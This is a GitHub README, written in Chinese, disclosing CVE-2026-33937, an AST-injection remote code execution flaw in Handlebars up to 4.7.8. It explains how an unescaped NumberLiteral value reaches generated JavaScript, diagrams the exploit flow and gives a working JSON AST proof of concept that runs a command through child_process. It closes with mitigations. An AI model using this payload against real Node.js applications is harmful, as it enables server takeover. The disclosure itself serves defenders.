dinhvaren/cve-2026-33937
GitHub: dinhvaren/cve-2026-33937
Handlebars模板引擎AST注入漏洞的概念验证,演示如何通过恶意AST对象实现远程代码执行。
Stars: 0 | Forks: 0
# CVE-2026-33937 - Handlebars RCE 漏洞 PoC
## 描述
CVE-2026-33937 是 Handlebars 中的一个严重远程代码执行 (RCE) 漏洞,由对抽象语法树 (AST) 输入的不安全处理引起。
该漏洞允许攻击者通过向 `Handlebars.compile()` 提供特制的 AST 对象来注入任意 JavaScript 代码。
## 根本原因
`Handlebars.compile()` 接受以下两种输入:
- 模板字符串
- 预解析的 AST 对象
当提供 AST 对象时,解析阶段会被跳过。
内部:
```
lib/handlebars/compiler/javascript-compiler.js
```
函数:
```
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
```
直接将 `number.value` 插入生成的 JavaScript 代码中,**未经过清理或转义**,从而导致代码注入。
## 影响
* 远程代码执行 (RCE)
* 服务器完全沦陷
* Node.js 环境中的任意 JavaScript 执行
## 漏洞利用流程
```
Attacker → Crafted AST (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (NumberLiteral injection)
│
▼
Code generation
│
▼
new Function(...) / eval()
│
▼
RCE
```
## 概念验证 (PoC)
```
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}
```
## 受影响版本
* Handlebars <= 4.7.8
## 缓解措施
* 禁止不受信任的 AST 输入
* 验证并清理所有模板输入
* 升级到已修补的 Handlebars 版本
## 参考
* NVD: [https://nvd.nist.gov/vuln/detail/CVE-2026-33937](https://nvd.nist.gov/vuln/detail/CVE-2026-33937)
标签:0day, AST注入, CISA项目, CMS安全, CVE-2026-33937, GNU通用公共许可证, Handlebars, Homebrew安装, JavaScript, MITM代理, Node.js, PoC, RCE, 数据可视化, 暴力破解, 模板引擎, 沙箱逃逸, 编程工具, 网络安全, 自定义脚本, 远程代码执行, 隐私保护